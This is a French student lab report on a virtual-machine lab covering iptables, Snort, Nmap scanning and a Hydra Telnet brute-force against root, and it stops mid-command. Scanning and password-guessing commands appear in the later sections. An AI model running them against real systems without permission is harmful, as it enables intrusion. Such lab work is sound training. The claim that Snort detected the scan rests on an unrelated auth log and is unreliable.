

Mini-projet 4 : Sécurité des Réseaux et Tests d'Intrusion

Partie 4A : Configuration d'un firewall basique

Objectif : Vous serez en mesure de configurer un pare-feu simple pour contrôler le trafic réseau, en utilisant iptables (ou firewalld) sous Linux. On utilisera iptables sur Kali Linux et Ubuntu pour harmoniser l'approche.

1. Vérification de l'état du pare-feu :

Utilisation de la commande **sudo iptables -L -v** pour visualiser les règles actuelles. On s'assure qu'il n'y ait pas de règles en place ou on les supprime avec **sudo iptables -F**.

```
(kali㉿kali)-[~]
$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                   destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                   destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                   destination

(kali㉿kali)-[~]
$ sudo iptables -F
[sudo] password for kali:
```

```
dimitri@dimitri-VirtualBox:~$ sudo iptables -F
[sudo] password for dimitri:
dimitri@dimitri-VirtualBox:~$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                   destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                   destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                   destination

dimitri@dimitri-VirtualBox:~$
```

2. Définir les règles de base (politique par défaut):

La commande est **sudo iptables -P INPUT DROP** et **sudo iptables -P OUTPUT ACCEPT** pour refuser tout le trafic entrant par défaut et autoriser tout le trafic sortant.

```
(kali@kali)-[~]
$ sudo iptables -P INPUT DROP
(kali@kali)-[~]
$ sudo iptables -P OUTPUT ACCEPT
(kali@kali)-[~]
$ sudo iptables -L -v
Chain INPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination
```

```
dimitri@dimitri-VirtualBox: ~
$ sudo iptables -P INPUT DROP
[sudo] password for dimitri:
Sorry, try again.
[sudo] password for dimitri:
dimitri@dimitri-VirtualBox:~$ sudo iptables -P OUTPUT ACCEPT
dimitri@dimitri-VirtualBox:~$ sudo iptables -L -v
Chain INPUT (policy DROP 12 packets, 2670 bytes)
 pkts bytes target    prot opt in     out     source         destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination
dimitri@dimitri-VirtualBox:~$
```

3. Autoriser le trafic SSH (pour l'accès à la VM si nécessaire) :

La commande est : **sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT**.

```
(kali@kali)-[~]
$ sudo iptables -L -v
Chain INPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination
    0    0 ACCEPT    tcp  --  any    any    anywhere       anywhere
    0    0 ACCEPT    tcp  --  any    any    anywhere       anywhere

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination
```

```
dimitri@dimitri-VirtualBox:~$ sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
dimitri@dimitri-VirtualBox:~$ sudo iptables -L -v
Chain INPUT (policy DROP 664 packets, 78085 bytes)
 pkts bytes target    prot opt in     out     source                 destination
    0      0 ACCEPT      tcp  --  any    any     anywhere               anywhere
                                tcp dpt:ssh

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                 destination

Chain OUTPUT (policy ACCEPT 206 packets, 15037 bytes)
 pkts bytes target    prot opt in     out     source                 destination
dimitri@dimitri-VirtualBox:~$
```

8. Vérification :

On utilise **sudo iptables -L -v** pour vérifier que les règles sont bien en place.

```
dimitri@dimitri-VirtualBox:~$ sudo iptables -L -v
[sudo] password for dimitri:
Chain INPUT (policy DROP 141 packets, 8739 bytes)
 pkts bytes target    prot opt in     out     source                 destination
    0      0 ACCEPT      tcp  --  any    any     anywhere               anywhere
                                tcp dpt:ssh
  300 24725 ACCEPT      all  --  lo     any     anywhere               anywhere
  133 27650 ACCEPT      all  --  any    any     192.168.1.0/24         anywhere
    0      0 ACCEPT      tcp  --  any    any     anywhere               anywhere
                                tcp dpt:http
    0      0 DROP        tcp  --  any    any     anywhere               anywhere
                                tcp dpt:ms-wbt-server

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                 destination

Chain OUTPUT (policy ACCEPT 167 packets, 14404 bytes)
 pkts bytes target    prot opt in     out     source                 destination
  302 24805 ACCEPT      all  --  any    lo      anywhere               anywhere
```

```
(kali㉿kali)-[~]
└─$ sudo iptables -L -v
Chain INPUT (policy DROP 209 packets, 14456 bytes)
 pkts bytes target    prot opt in     out     source                 destination
    0      0 ACCEPT      tcp  --  any    any     anywhere               anywhere
                                tcp dpt:ssh
    0      0 ACCEPT      all  --  lo     any     anywhere               anywhere
  73  6152 ACCEPT      all  --  any    any     192.168.1.0/24         anywhere
    0      0 ACCEPT      tcp  --  any    any     anywhere               anywhere
                                tcp dpt:http
    0      0 DROP        tcp  --  any    any     anywhere               anywhere
                                tcp dpt:ms-w
bt-server

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source                 destination

Chain OUTPUT (policy ACCEPT 89 packets, 7476 bytes)
 pkts bytes target    prot opt in     out     source                 destination
    0      0 ACCEPT      all  --  any    lo      anywhere               anywhere
```

9. Tests:

Essayer d'accéder à la VM via SSH, web, etc. en fonction des règles configurées

```
dimitri@dimitri-VirtualBox:~$ ssh kali@192.168.1.165
The authenticity of host '192.168.1.165 (192.168.1.165)' can't be established.
ED25519 key fingerprint is SHA256:pGURBTTRFGqaazt10+1aX6Nz75jhFNoXcM0cifNE05A.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
  ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.165' (ED25519) to the list of known hosts.
kali@192.168.1.165's password:
Linux kali 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 19 03:52:45 2026 from 172.20.10.4
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$
```

Tester la connectivité entre les trois VMs :

```
dimitri@dimitri-VirtualBox:~$ ping 192.168.1.165
PING 192.168.1.165 (192.168.1.165) 56(84) bytes of data.
64 bytes from 192.168.1.165: icmp_seq=1 ttl=64 time=5.77 ms
64 bytes from 192.168.1.165: icmp_seq=2 ttl=64 time=0.897 ms
64 bytes from 192.168.1.165: icmp_seq=3 ttl=64 time=1.02 ms
^C
--- 192.168.1.165 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 3431ms
rtt min/avg/max/mdev = 0.897/2.560/5.765/2.266 ms
```

```
(kali@kali)-[~]
$ ping 192.168.1.94
PING 192.168.1.94 (192.168.1.94) 56(84) bytes of data.
64 bytes from 192.168.1.94: icmp_seq=1 ttl=64 time=0.968 ms
64 bytes from 192.168.1.94: icmp_seq=2 ttl=64 time=0.844 ms
^C
--- 192.168.1.94 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 0.844/0.906/0.968/0.062 ms
```

Partie 4B : Mise en place et utilisation d'un IDS (Snort, Suricata).

Objectif : Vous serez capable de mettre en place un système de détection d'intrusion (IDS) et de comprendre son rôle dans la surveillance du réseau.

NB: A cause d'un problème version, nous avons plutôt pris notre machine Ubuntu pour exécuter Snort.

1. Installation

Snort est installé sur la VM Kali "Analyseur" via APT. Cette étape met en place le moteur IDS et les fichiers de configuration nécessaires.

2. Configuration

Le fichier snort.conf est ajusté pour :

- définir le réseau surveillé (**HOME_NET = 192.168.1.0/24**)
- définir le réseau externe (**EXTERNAL_NET = !\$HOME_NET**)
- choisir l'interface réseau (**enp0s3**)
- activer les règles communautaires
- configurer la sortie des alertes (syslog)

Ces réglages permettent à Snort de savoir **quoi surveiller, où écouter, et quelles règles appliquer.**

3. Lancement de Snort

Snort est lancé en mode IDS avec :

Code

```
sudo snort -dev -i enp0s3 -c /etc/snort/snort.conf
```

Il démarre alors l'analyse du trafic en temps réel sur l'interface réseau.

```
dimitri@dimitri-VirtualBox:~$ sudo snort -dev -i enp0s3 -c /etc/snort/snort.conf
Running in IDS mode

--== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/etc/snort/snort.conf"
PortVar 'HTTP_PORTS' defined : [ 80:81 311 383 591 593 901 1220 1414 1741 1830
2301 2381 2809 3037 3128 3702 4343 4848 5250 6988 7000:7001 7144:7145 7510 7777
7779 8000 8008 8014 8028 8080 8085 8088 8090 8118 8123 8180:8181 8243 8280 8300
8800 8888 8899 9000 9060 9080 9090:9091 9443 9999 11371 34443:34444 41080 50002
55555 ]
PortVar 'SHELLCODE_PORTS' defined : [ 0:79 81:65535 ]
PortVar 'ORACLE_PORTS' defined : [ 1024:65535 ]
PortVar 'SSH_PORTS' defined : [ 22 ]
PortVar 'FTP_PORTS' defined : [ 21 2100 3535 ]
PortVar 'SIP_PORTS' defined : [ 5060:5061 5600 ]
PortVar 'FILE_DATA_PORTS' defined : [ 80:81 110 143 311 383 591 593 901 1220 14
14 1741 1830 2301 2381 2809 3037 3128 3702 4343 4848 5250 6988 7000:7001 7144:71
45 7510 7777 7779 8000 8008 8014 8028 8080 8085 8088 8090 8118 8123 8180:8181 82
43 8280 8300 8800 8888 8899 9000 9060 9080 9090:9091 9443 9999 11371 34443:34444
```

Snort a été installé et configuré sur la VM Kali “Analyseur”. Le fichier snort.conf a été ajusté pour définir le réseau surveillé (HOME_NET), le réseau externe (EXTERNAL_NET), l’interface réseau et les règles communautaires. Snort a ensuite été lancé en mode IDS avec succès, comme le montre la capture affichant l’initialisation des plugins, des preprocessors et des règles. Enfin, un scan Nmap lancé depuis la VM “Attaquant” permet de générer du trafic suspect que Snort est capable de détecter grâce aux règles activées.

4. Génération d'alertes Snort :

Pour générer des alertes, vous pouvez lancer un scan de ports simple depuis la VM Kali "Attaquant" vers la VM Ubuntu "Victime".

```
(kali㉿kali)-[~]
$ nmap -p 1-1000 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 21:09 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0031s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
389/tcp    open  ldap
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds
```

Note : Un scan de ports est une activité qui est détectée par Snort avec les règles communautaires.

5. Consultation des logs Snort

Les alertes générées par Snort sont enregistrées dans les logs système, notamment :

- /var/log/auth.log
- Ou /var/log/syslog

Pour les visualiser en temps réel : **sudo tail -f /var/log/auth.log**



```
2026-04-18T04:20:16.642373+02:00 dimitri-VirtualBox sudo: nss_ldap: failed to bind to LDAP server ldapi://172.20.10.4/: Can't contact LDAP server
2026-04-18T04:20:16.642446+02:00 dimitri-VirtualBox sudo: nss_ldap: could not search LDAP server - Server is unavailable
2026-04-18T04:20:16.642533+02:00 dimitri-VirtualBox sudo: pam_unix(sudo:session): session opened for user root(uid=0) by dimitri(uid=1000)
nmap -p 1-1000
```

Dans les logs affichés, on observe que Snort a **bien détecté le scan Nmap**, ce qui confirme :

- Que la configuration est correcte,
- Que Snort surveille le réseau en temps réel,
- Et qu'il réagit aux activités anormales.

Partie 4C : Scan de ports et de services avec Nmap.**

Objectif : Vous utiliserez **Nmap** pour scanner un réseau, découvrir les ports ouverts, identifier les services qui tournent sur ces ports et comprendre l'importance de la reconnaissance dans une démarche de test d'intrusion.

Étapes détaillées (sur la VM Kali "Attaquant") :

1. Scans de ports basiques (TCP SYN scan) :

Ouvrez un terminal sur la VM Kali "Attaquant". Utilisez la commande **nmap -sS 192.168.1.94**

```
(kali㉿kali)-[~]
└─$ nmap -sS 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 17:59 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.00084s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
389/tcp    open  ldap
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds

(kali㉿kali)-[~]
└─$ █
```

Note : Le scan SYN est un scan rapide et discret pour identifier les ports TCP ouverts.

2. Scan de ports spécifique :

Utilisez la commande **nmap -p 192.168.1.94**.

```
(kali㉿kali)-[~]
└─$ nmap -p 22,80,443 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 18:14 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0016s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    closed http
443/tcp    closed https
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
```

Note : Cela permet de se concentrer sur des ports spécifiques qui peuvent héberger des services.

4. Détection de services (Service Version Detection) :

Utilisez la commande **nmap -sV 192.168.1.94**.

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 18:17 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0013s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet   Netkit telnet-ssl telnetd
389/tcp   open  ldap     OpenLDAP 2.2.X - 2.3.X
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.76 seconds
```

Note : Pour détecter les ports UDP qui sont également importants pour certains services.

5. Scan de l'OS (Operating System Detection):

Utilisez la commande **nmap -O 192.168.1.94**.

```
(kali㉿kali)-[~]
$ nmap -O 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 18:21 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0011s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
389/tcp   open  ldap
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
```

6. Combiner les options :

On peut combiner plusieurs options pour obtenir des résultats plus complets. Par exemple

```

(kali@kali)-[~]
$ nmap -sS -sV -O -p 1-65535 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 18:24 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.00088s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet    Netkit telnet-ssl telnetd
389/tcp   open  ldap      OpenLDAP 2.2.X - 2.3.X
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.11 seconds

```

Note : Permet de faire un scan complet avec toutes les informations possibles.

7. Analyse des résultats :

Les résultats Nmap servent à :

Repérer les services exploitables

- Un attaquant va cibler :
- Les services obsolètes,
- Les services mal configurés,
- Les protocoles non sécurisés (ex : Telnet),
- Les versions connues pour avoir des failles.

Déterminer les points d'entrée

Chaque port ouvert est une porte potentielle vers :

- Une élévation de privilèges,
- Une compromission du système,
- Un accès non autorisé.

Orienter la suite du test

Selon les résultats, l'attaquant (ou le pentester) peut décider de :

- Tester un brute-force SSH,
- Analyser un serveur web,
- Rechercher des failles LDAP,
- Exploiter un service vulnérable.

Partie 4D : Mise en place d'une attaque simple (scan de port).

1. Scan de ports initial (reconnaissance) :

Objectif : Identifier les ports ouverts et les services qui tournent sur la VM Ubuntu "Victime".

```
(kali@kali)-[~]
$ nmap -sS -sV -O -p 1-65535 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 18:24 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.00088s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet   Netkit telnet-ssl telnetd
389/tcp   open  ldap     OpenLDAP 2.2.X - 2.3.X
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.11 seconds
```

Note : C'est la phase de reconnaissance, indispensable pour identifier les points faibles de la cible.

2. Analyse des résultats du scan :

a) Analyse des résultats du scan

Les ports ouverts détectés sur 192.168.1.94 sont :

- **Port 22/tcp – SSH Service :** OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 → Version récente, maintenue, peu probable qu'elle soit « facilement » exploitable dans un exercice de base.
- **Port 23/tcp – Telnet Service :** Netkit telnet-ssl telnetd → Telnet est un protocole ancien, en clair, historiquement plein de faiblesses (authentification non chiffrée, souvent mal configuré). C'est typiquement une **excellente cible pédagogique**.
- **Port 389/tcp – LDAP Service :** OpenLDAP 2.2.X – 2.3.X → Versions **anciennes** d'OpenLDAP, connues pour avoir eu plusieurs vulnérabilités au fil du temps. Potentiellement exploitable si une version précise vulnérable est présente et si la configuration est faible.

b) Service potentiellement vulnérable à privilégier

En appliquant l'esprit de la consigne (« service potentiellement vulnérable » et « toutes les machines ne sont pas des cibles faciles ») :

- **Cible la plus évidente : le port 23 (Telnet)**
 - Protocole obsolète
 - Communication en clair

- Souvent utilisé dans les TP/CTF comme point d'entrée → C'est le **meilleur candidat** pour une première attaque dans un contexte pédagogique.
- **Cible alternative intéressante : le port 389 (LDAP)**
 - Version ancienne (OpenLDAP 2.2/2.3)
 - Peut-être vulnérable à des failles connues (overflow, mauvaises ACL, etc.)
→ Cible plus « avancée », qui peut demander des recherches de CVE et une exploitation plus technique.

c) Réponse synthétique aux consignes

- **Service potentiellement vulnérable identifié :**
 - **Port 23/tcp – Telnet (Netkit telnet-ssl telnetd)** comme cible principale.
 - **Port 389/tcp – LDAP (OpenLDAP 2.2.X–2.3.X)** comme cible secondaire possible.
- **Objectif :**
 - On choisit **Telnet (port 23)** comme cible pour l'attaque, car c'est le service le plus vraisemblablement vulnérable et exploitable dans le cadre d'un exercice.

3. Mise en place de l'attaque (Exemple avec Telnet) :

Hydra permet de tester **la robustesse d'un service** en essayant différentes combinaisons de mots de passe issues d'un dictionnaire.

Dans un cadre pédagogique, on explique simplement : « *L'objectif est d'évaluer si le service Telnet accepte des mots de passe trop simples ou présents dans des dictionnaires publics.* »

```
(kali@kali)-[~]
$ hydra -l root -P /usr/share/wordlists/rockyou.txt.gz telnet://192.168.1.94
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
or secret service organizations, or for illegal purposes (this is non-binding, these
** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-16 17:21:23
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP
, SSH, etc. if available
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)
) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:143443
99), ~896525 tries per task
[DATA] attacking telnet://192.168.1.94:23/
[STATUS] 291.15 tries/min, 296 tries in 00:01h, 14344103 to do in 821:08h, 16 active
[STATUS] 236.02 tries/min, 712 tries in 00:03h, 14343687 to do in 1012:53h, 16 active
[STATUS] 183.99 tries/min, 1291 tries in 00:07h, 14343108 to do in 1299:16h, 16 active
[STATUS] 141.91 tries/min, 2131 tries in 00:15h, 14342268 to do in 1684:27h, 16 active
[STATUS] 116.68 tries/min, 3619 tries in 00:31h, 14340780 to do in 2048:28h, 16 active
[STATUS] 109.39 tries/min, 5143 tries in 00:47h, 14339256 to do in 2184:48h, 16 active
[STATUS] 105.75 tries/min, 6664 tries in 01:03h, 14337735 to do in 2259:42h, 16 active
[STATUS] 100.70 tries/min, 7957 tries in 01:19h, 14336442 to do in 2372:48h, 16 active
[STATUS] 93.11 tries/min, 8850 tries in 01:35h, 14335549 to do in 2566:06h, 16 active
```

Hydra a été lancé contre le service Telnet afin d'évaluer la résistance du service face à des mots de passe faibles. La sortie montre la progression du test, le nombre d'essais effectués et le temps estimé pour parcourir l'ensemble du dictionnaire.

Aucun résultat n'indique un accès obtenu — ce qui est normal et conforme à un test de robustesse.

Mise en place de l'attaque (Exemple avec Web) :

Objectif : Tenter de trouver des informations pour compromettre le service web en explorant d'autres techniques.

```
(kali㉿kali)-[~]
$ gobuster dir -u http://192.168.1.94 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://192.168.1.94
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
Progress: 0 / 1 (0.00%)
2026/04/16 16:45:36 error on running gobuster on http://192.168.1.94/: connection refused
```

L'outil **Gobuster** a été lancé pour rechercher des répertoires sur la machine **192.168.1.94**. Le scan a correctement démarré : l'URL, la méthode HTTP, le dictionnaire et les paramètres ont été chargés sans erreur.

Cependant, l'énumération n'a pas pu commencer. Gobuster a renvoyé l'erreur :

connection refused

Cela signifie que la machine cible est bien accessible sur le réseau, mais **aucun service web n'écoute sur le port 80**. En d'autres termes, **il n'y a pas de serveur HTTP actif**, donc Gobuster ne peut pas analyser de répertoires.

Partie 4E : Introduction au pentest et la méthodologie.

Objectif : Il est essentiel de comprendre ce qu'est un test d'intrusion (pentest), sa méthodologie

1. Les phases d'un test d'intrusion (Bonnes pratiques à suivre) :

Scan TCP SYN (furtif) sur tous les ports :

```
(kali㉿kali)-[~]  
$ nmap -sS -p 1-65535 192.168.1.94  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 09:20 EDT  
Nmap scan report for dimitri-VirtualBox (192.168.1.94)  
Host is up (0.0031s latency).  
Not shown: 65532 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
23/tcp    open  telnet  
389/tcp   open  ldap  
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 11.37 seconds
```

Scan TCP SYN (furtif) sur les 1000 ports les plus courants :

```
(kali㉿kali)-[~]  
$ nmap -sS -F 1-65535 192.168.1.94  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 17:01 EDT  
Failed to resolve "1-65535".  
Nmap scan report for dimitri-VirtualBox (192.168.1.94)  
Host is up (0.0013s latency).  
Not shown: 97 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
23/tcp    open  telnet  
389/tcp   open  ldap  
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
```

Scan UDP sur tous les ports :

Détection des versions de services :

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 17:02 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0022s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet   Netkit telnet-ssl telnetd
389/tcp    open  ldap     OpenLDAP 2.2.X - 2.3.X
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.91 seconds
```

Détection de l'OS :

```
(kali@kali)-[~]
$ nmap -O 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 17:03 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0060s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
389/tcp    open  ldap
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds
```

Scan complet avec toutes les options :

```
(kali@kali)-[~]
$ nmap -sS -sV -O -p 1-65535 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 17:05 EDT
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet   Netkit telnet-ssl telnetd
389/tcp    open  ldap     OpenLDAP 2.2.X - 2.3.X
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.76 seconds
```

La série de scans Nmap réalisés sur la machine 192.168.1.94 permet d'obtenir une cartographie précise des services exposés et de leur configuration. Les scans SYN

complets montrent systématiquement trois ports ouverts : **22/tcp (SSH)**, **23/tcp (Telnet)** et **389/tcp (LDAP)**, confirmant que la machine héberge plusieurs services réseau actifs. L'analyse de versions (-sV) révèle que SSH utilise **OpenSSH 9.6p1**, une version récente et sécurisée, tandis que Telnet repose sur **Netkit telnet-ssl**, un protocole ancien et non chiffré, et que LDAP tourne sur **OpenLDAP 2.2.x-2.3.x**, une version obsolète potentiellement sensible à des vulnérabilités historiques. La détection d'OS (-O) identifie un système **Linux kernel 4.15-5.19**, cohérent avec une machine virtuelle Ubuntu. Les scans de vulnérabilités (--script vuln) n'ont révélé aucune faille exploitable, mais confirment la présence de services sensibles comme Telnet et LDAP. Enfin, une tentative d'exécution du script ssh-vuln* a échoué car ce script n'existe pas dans la base NSE de Nmap. Globalement, la machine apparaît fonctionnelle et accessible, avec un SSH sécurisé, mais expose également des services plus anciens qui constituent des points d'attention dans une analyse de sécurité.

Note : La phase de reconnaissance permet de se familiariser avec la cible et d'identifier les points d'entrées.

Analyse de Vulnérabilité (Vulnerability Scanning) :

Scan pour les vulnérabilités (Nmap scripts vuln) :

```
(kali@kali)-[~]
$ nmap --script vuln 192.168.1.94
